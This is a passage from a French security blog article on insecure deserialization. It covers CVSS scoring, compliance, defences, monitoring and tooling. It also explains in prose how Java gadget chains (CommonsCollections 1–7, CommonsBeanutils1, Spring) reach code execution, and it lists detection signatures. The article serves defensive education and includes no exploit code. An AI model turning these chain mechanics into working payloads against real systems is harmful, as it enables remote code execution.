malveillants instanciés, tandis que le thread dump au moment de l'exploitation peut montrer les méthodes de la gadget chain dans la call stack.
Scoring CVSS et classification des vulnérabilités de désérialisation
L'évaluation de la sévérité des vulnérabilités de désérialisation utilise le framework CVSS avec des considérations spécifiques à cette classe d'attaques. Les vulnérabilités de désérialisation avec RCE non authentifié atteignent typiquement un score CVSS 3.1 de 9.8 (Critical) avec le vecteur AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H. La distinction principale dans le scoring concerne la complexité d'attaque : une désérialisation avec gadget chain connue et publiquement documentée obtient AC:L, tandis qu'une exploitation nécessitant la découverte d'une nouvelle gadget chain peut justifier AC:H. La présence d'authentification préalable modifie PR de N à L ou H. Le composant scope peut être changé (S:C) si l'exploitation permet d'impacter des systèmes au-delà du composant vulnérable via pivot réseau ou accès à des secrets compromettant d'autres systèmes.
La classification CWE associée couvre plusieurs entrées complémentaires : CWE-502 (Deserialization of Untrusted Data) est la classification principale, mais CWE-915 (Improperly Controlled Modification of Dynamically-Determined Object Attributes) et CWE-913 (Improper Control of Dynamically-Managed Code Resources) couvrent des aspects spécifiques. Pour le reporting, la corrélation avec les catégories OWASP (A08:2021 Software and Data Integrity Failures) et les techniques MITRE ATT&CK (T1059 Command and Scripting Interpreter pour la phase d'exploitation, T1190 Exploit Public-Facing Application pour l'accès initial) fournit le contexte nécessaire aux équipes de remédiation pour prioriser et tracer les efforts défensifs dans leurs matrices de couverture.
Désérialisation et conformité réglementaire
Les vulnérabilités de désérialisation ont des implications directes en termes de conformité réglementaire, particulièrement pour les organisations soumises au RGPD, à PCI DSS, à HIPAA, ou au cadre NIS2. L'exploitation d'une vulnérabilité de désérialisation aboutissant à un accès non autorisé aux données personnelles constitue une violation de données au sens de l'Article 33 du RGPD, obligeant la notification à la CNIL sous 72 heures et potentiellement aux personnes concernées sous l'Article 34. Le standard PCI DSS 4.0 (Requirement 6.2.4) exige spécifiquement la protection contre les attaques par désérialisation dans les applications de paiement, avec une évaluation obligatoire lors des audits annuels. La directive NIS2 (applicable depuis octobre 2024) impose aux entités essentielles et importantes une gestion des risques cybersécurité qui inclut la protection contre les vulnérabilités applicatives connues, dont la désérialisation insécurisée. Les organisations doivent documenter les mesures de protection contre la désérialisation dans leurs politiques de sécurité, effectuer des tests de pénétration réguliers couvrant cette classe de vulnérabilités, et maintenir un inventaire des composants utilisant la sérialisation native avec une évaluation des risques associés. Le non-respect de ces obligations peut entraîner des sanctions financières significatives — jusqu'à 20 millions d'euros ou 4% du chiffre d'affaires mondial pour le RGPD, et jusqu'à 10 millions d'euros ou 2% du CA pour NIS2.
Analyse detaillee des gadget chains Java les plus exploitees
CommonsCollections : evolution des chaines de versions 1 a 7
La famille de gadget chains CommonsCollections illustre parfaitement l'evolution des techniques d'exploitation et des contre-mesures dans l'ecosysteme Java. La chain originale CommonsCollections1 (CC1) exploite InvokerTransformer pour appeler des methodes arbitraires via la reflexion, enchaine dans un ChainedTransformer qui construit la sequence Runtime.getRuntime().exec(commande). Le point d'entree est un AnnotationInvocationHandler dont le readObject() itere sur les entrees d'un LazyMap decore avec le transformer malveillant. CommonsCollections2 (CC2) introduit une approche differente utilisant PriorityQueue avec un Comparator malveillant base sur TransformingComparator, ciblant Commons Collections 4.0 ou la classe InvokerTransformer a ete deplacee dans un package different. CommonsCollections3 (CC3) contourne les blocklists de InvokerTransformer en utilisant InstantiateTransformer pour charger du bytecode via TrAXFilter et TemplatesImpl — eliminant le besoin d'InvokerTransformer tout en maintenant la capacite d'execution de code. CommonsCollections5 (CC5) utilise BadAttributeValueExpException comme point d'entree au lieu d'AnnotationInvocationHandler, contournant les filtres ciblant ce dernier. CommonsCollections6 (CC6) combine HashSet avec LazyMap et TiedMapEntry pour une chain compatible avec les versions plus recentes du JDK ou AnnotationInvocationHandler a ete patche. CommonsCollections7 (CC7) utilise une approche basee sur Hashtable et l'exploitation de collisions de hash pour declencher l'evaluation du LazyMap. Cette evolution montre comment les chercheurs en securite contournent systematiquement chaque mesure de protection, necessitant une approche defensive basee sur l'allowlisting plutot que le blocklisting.
CommonsBeanutils et la puissance de la reflexion Java
La gadget chain CommonsBeanutils1 exploite BeanComparator de la bibliotheque Apache Commons BeanUtils pour invoquer des methodes getter arbitraires via la reflexion. Le mecanisme repose sur la capacite de BeanComparator a comparer des objets en invoquant une propriete specifiee via PropertyUtilsBean.getProperty(), qui a son tour appelle la methode getter correspondante. En combinant un PriorityQueue avec un BeanComparator ciblant la propriete outputProperties d'un objet TemplatesImpl contenant du bytecode malveillant, l'attaquant obtient l'execution de code lors de la deserialisation lorsque PriorityQueue.readObject() reconstruit le heap interne en comparant les elements. Cette chain est particulierement dangereuse car Apache Commons BeanUtils est une dependance extremement repandue dans l'ecosysteme Java — presente dans la majorite des applications Spring, des serveurs d'applications, et des frameworks de persistence. La detection de cette chain via l'analyse statique est complexe car aucune des classes individuelles (PriorityQueue, BeanComparator, TemplatesImpl) n'est inheremment malveillante — c'est leur combinaison specifique qui cree le vecteur d'attaque.
Spring Framework : gadget chains specifiques
Les gadget chains ciblant Spring Framework exploitent les capacites de reflexion et d'injection de dependances du framework le plus utilise dans l'ecosysteme Java. La chain Spring1 utilise MethodInvokeTypeProvider avec TypeProvider pour invoquer des methodes arbitraires via la reflexion Spring, aboutissant a l'execution de code via TemplatesImpl. La chain Spring2 exploite ObjectFactoryDelegatingInvocationHandler pour creer un proxy dynamique qui redirige les invocations de methodes vers un ObjectFactory controle par l'attaquant. Les environments Spring Boot sont particulierement a risque car ils embarquent un large ensemble de dependances (Spring Core, Spring Web, Spring Data, Jackson, Hibernate) dont chacune peut fournir des composants de gadget chains. L'analyse des dependances Spring via mvn dependency:tree ou gradle dependencies est une etape critique de l'evaluation du risque de deserialisation dans les applications Spring, permettant d'identifier les bibliotheques presentes sur le classpath qui contiennent des gadget chains connues.
Mecanismes de defense avancee par langage
Java : au-dela de JEP 290 avec le contexte-specific filtering
Le JEP 415 (Context-Specific Deserialization Filters), introduit dans Java 17, etend le JEP 290 avec la capacite de definir des filtres specifiques au contexte d'utilisation plutot que des filtres globaux. Cette evolution permet de definir des politiques de deserialisation differentes pour les differentes parties de l'application — par exemple, un filtre strict pour les donnees provenant du reseau et un filtre plus permissif pour la deserialisation de sessions depuis un cache local securise. La configuration utilise une filter factory qui recoit le contexte de la deserialisation (le filtre existant et le status) et retourne un filtre adapte. Cette approche resout le probleme des filtres globaux trop restrictifs qui cassent les fonctionnalites legitimes de l'application tout en maintenant une protection robuste contre les attaques exterieures.
// JEP 415 - Context-specific deserialization filter factory
public class CustomFilterFactory implements BinaryOperator<ObjectInputFilter> {
@Override
public ObjectInputFilter apply(ObjectInputFilter currentFilter, ObjectInputFilter requestedFilter) {
// Combiner le filtre global avec le filtre specifique au contexte
return ObjectInputFilter.merge(currentFilter, requestedFilter);
}
}
// Configuration via system property
// -Djdk.serialFilterFactory=com.myapp.security.CustomFilterFactory
// Ou via code
ObjectInputFilter.Config.setSerialFilterFactory((current, next) -> {
// Logique de decision basee sur le contexte
if (isInternalDeserialization()) {
return createInternalFilter();
}
return createStrictExternalFilter();
});
PHP : les alternatives modernes a unserialize
L'ecosysteme PHP offre desormais des alternatives robustes a unserialize() pour chaque cas d'usage. Pour la communication inter-services, MessagePack (msgpack_pack/msgpack_unpack) offre un format binaire compact et type sans instanciation d'objets. Pour la persistence de donnees structurees, JSON (json_encode/json_decode) avec le flag JSON_THROW_ON_ERROR (PHP 7.3+) fournit une serialisation sure et portable. Pour les sessions utilisateur, la migration vers des handlers de session bases sur JSON elimine le risque de deserialisation PHP tout en maintenant la compatibilite. Pour la communication avec le frontend, les APIs REST retournant du JSON sont inherement sures. Les frameworks PHP modernes (Laravel 10+, Symfony 7+) ont largement migre vers JSON pour la serialisation des donnees, mais les applications legacy et les plugins WordPress/Magento continuent d'utiliser serialize()/unserialize() extensivement, necessitant des audits cibles et des migrations planifiees.
Python : safetensors et l'avenir de la serialisation ML
Le format safetensors, developpe par Hugging Face et adopte comme standard par la communaute ML, represente une avancee majeure dans la securisation de la serialisation des modeles de machine learning. Contrairement a pickle qui est un format Turing-complet capable d'executer du code arbitraire, safetensors est un format purement declaratif qui stocke les tenseurs (poids du modele) dans un format binaire simple : un header JSON decrivant la forme et le type de chaque tenseur, suivi des donnees brutes des tenseurs. Ce design elimine structurellement tout risque d'execution de code au chargement. safetensors offre egalement des avantages de performance significatifs : le chargement est 2-10x plus rapide que pickle grace au memory mapping, et le format supporte le chargement partiel de modeles (utile pour les modeles de plusieurs dizaines de gigaoctets). L'adoption de safetensors est acceleree par l'integration native dans les bibliotheques Hugging Face (transformers, diffusers), PyTorch 2.x (via torch.load(weights_only=True)), et les plateformes de deploiement (TGI, vLLM). Les organisations deploiant des modeles ML en production doivent systematiquement exiger le format safetensors et rejeter les fichiers pickle non verifies dans leurs pipelines CI/CD.
Monitoring en production et detection des tentatives de deserialisation
Le monitoring continu des tentatives de deserialisation en production est essentiel pour detecter les attaques en cours et mesurer l'efficacite des defenses. Les indicateurs cles a surveiller incluent : les exceptions ClassNotFoundException et InvalidClassException dans les logs applicatifs (indicateurs de tentatives de deserialisation de classes non autorisees par les filtres JEP 290), les requetes HTTP contenant la signature Base64 rO0AB dans les parametres ou cookies, les pics de requetes vers des endpoints connus pour accepter des donnees serialisees, et les alertes des filtres JEP 290 rejettant des classes specifiques. L'integration de ces indicateurs dans un SIEM (Wazuh, Splunk, Elastic) avec des regles de correlation permet de detecter les phases de reconnaissance (payloads URLDNS) et d'enumeration (GadgetProbe) avant que l'exploitation effective n'ait lieu. La mise en place d'alertes differentiees par severite permet une reponse graduee et proportionnee aux tentatives d'exploitation. Les metriques de securite de deserialisation doivent etre integrees aux KPIs du SOC et incluses dans les rapports de securite executifs pour maintenir la visibilite sur cette classe de risques. La tendance vers le monitoring applicatif de securite (AppSec monitoring) integre naturellement ces indicateurs dans les pipelines d'observabilite existants, utilisant des outils comme OpenTelemetry pour la collecte et Prometheus/Grafana pour la visualisation des metriques de securite de deserialisation en temps reel.
La proliferation des microservices et des architectures distribuees a multiplie les points de deserialisation dans les applications modernes, rendant l'audit systematique de tous les flux de donnees serialisees plus complexe mais aussi plus critique que jamais. Les equipes de securite doivent adopter une approche basee sur le risque, priorisant les endpoints de deserialisation exposes sur Internet et ceux traitant des donnees provenant de sources non fiables, tout en maintenant un inventaire exhaustif de tous les points de serialisation dans l'architecture applicative.
Ecosysteme d'exploitation : outils complementaires et automatisation
Au-dela des outils principaux (ysoserial, PHPGGC, ysoserial.net), l'ecosysteme d'exploitation de la deserialisation inclut de nombreux outils complementaires specialises dans des aspects specifiques de l'attaque. SerializationDumper desassemble les flux serialises Java en format lisible, permettant l'analyse et la modification manuelle des payloads pour adapter les exploits a des configurations specifiques (classloaders non standards, filtres partiels). jdeserialize offre une analyse plus approfondie du protocole de serialisation Java avec la reconstruction complete du graphe d'objets. Marshalsec fournit un ensemble de serveurs (JNDI, LDAP, RMI, HTTP) necessaires pour les exploitations en deux etapes ou le payload initial declenche un chargement de classe depuis un serveur externe controle par l'attaquant — technique utilisee dans Log4Shell et les exploitations JNDI en general. Java-Deserialization-Cheat-Sheet regroupe les informations necessaires pour identifier les endpoints vulnerables (magic bytes, content-types, URLs connues) dans les serveurs d'applications populaires. Pour l'automatisation, Burp Suite avec les extensions Java Deserialization Scanner et Freddy automatise la detection des endpoints de deserialisation et le test de multiples gadget chains pendant les pentests applicatifs. L'extension genere et injecte les payloads de detection (URLDNS) et d'exploitation (toutes les chains ysoserial) directement depuis l'interface Burp, permettant une evaluation rapide et exhaustive de la surface d'attaque de deserialisation de l'application cible.
L'automatisation de bout en bout du test de deserialisation dans les pipelines CI/CD utilise des scanners DAST configures pour detecter et tester automatiquement les endpoints de serialisation. OWASP ZAP avec le plugin de detection de serialisation identifie les parametres contenant des donnees serialisees Java (signature AC ED) ou PHP (pattern O:[0-9]). Nuclei de ProjectDiscovery offre des templates specifiques a la deserialisation qui testent les endpoints connus des serveurs d'applications (JBoss JMXInvoker, WebLogic T3, Jenkins CLI) avec des payloads URLDNS pour la confirmation non destructive. L'integration de ces outils dans les pipelines permet de detecter les regressions de securite (reintroduction d'endpoints de deserialisation non proteges) avant le deploiement en production, fermant la boucle entre la decouverte de vulnerabilites et la prevention continue. La strategie optimale combine l'analyse statique (SAST) pour detecter les appels dangereux dans le code source, l'analyse de composition (SCA) pour identifier les dependances vulnerables, et l'analyse dynamique (DAST) pour valider l'exploitabilite en conditions reelles — les trois couches se completent mutuellement pour une couverture maximale.
Conclusion
La désérialisation insécurisée demeure l'une des classes de vulnérabilités les plus critiques et les plus exploitées dans le paysage applicatif moderne. L'omniprésence de la sérialisation native dans les écosystèmes Java, PHP, .NET et Python, combinée à la richesse des gadget chains disponibles et à la sophistication des outils d'exploitation (ysoserial, PHPGGC, ysoserial.net), rend cette menace accessible à un spectre large d'attaquants — des script kiddies utilisant des payloads pré-générés aux groupes APT élaborant des chaînes d'attaque sur mesure. La défense efficace exige une stratégie en profondeur qui combine la migration vers des formats de données sûrs (JSON, Protobuf, safetensors), l'implémentation de filtres de désérialisation stricts (JEP 290, allowed_classes, RestrictedUnpickler), la détection réseau et applicative des tentatives d'exploitation, et l'intégration de tests de sécurité automatisés dans les pipelines CI/CD. Les organisations qui investissent dans la compréhension approfondie de cette classe d'attaques et dans l'implémentation systématique des défenses recommandées réduisent significativement leur exposition aux compromissions les plus dévastatrices du paysage cybersécurité contemporain.
Besoin d'un audit de sécurité applicative ?
Ayi NEDJIMI, consultant expert en cybersécurité offensive, réalise des audits de code et tests d'intrusion ciblant spécifiquement les vulnérabilités de désérialisation dans les écosystèmes Java, PHP, .NET et Python. Protégez vos applications critiques contre cette classe d'attaques dévastatrice.
Demander un devisTélécharger cet article en PDF
Format A4 optimisé pour l'impression et la lecture hors ligne
À propos de l'auteur
Ayi NEDJIMI
Auditeur Senior Cybersécurité & Consultant IA
Expert Judiciaire — Cour d'Appel de Paris
Habilitation Confidentiel Défense
ayi@ayinedjimi-consultants.fr
Ayi NEDJIMI est un vétéran de la cybersécurité avec plus de 25 ans d'expérience sur des missions critiques. Ancien développeur Microsoft à Redmond sur le module GINA (Windows NT4) et co-auteur de la version française du guide de sécurité Windows NT4 pour la NSA.
À la tête d'Ayi NEDJIMI Consultants, il réalise des audits Lead Auditor ISO 42001 et ISO 27001, des pentests d'infrastructures critiques, du forensics et des missions de conformité NIS2 / AI Act.
Conférencier international (Europe & US), il a formé plus de 10 000 professionnels.
Domaines d'expertise
Ressources & Outils de l'auteur
Articles connexes
LOLBas / LOLBins : Living Off The Land — Guide Complet
Guide complet LOLBas/LOLBins : certutil, mshta, rundll32, regsvr32, BYOVD. Campagnes APT, détection Sysmon/Sigma, défense AppLocker/WDAC.
Bettercap & Ettercap : Guide MITM et Pentest Réseau
Guide complet Bettercap et Ettercap : techniques MITM (ARP/DNS spoofing, HTTPS downgrade), WiFi pentest, caplets, exploitation AD. Comparatif et défenses.
Web Cache Poisoning & Deception : Guide d'Exploitation et Défense
Guide expert Web Cache Poisoning et Cache Deception : techniques d'exploitation, outils (Param Miner, WCVS), cas réels PayPal/GitHub, défense CDN.
Commentaires
Aucun commentaire pour le moment. Soyez le premier à commenter !
Laisser un commentaire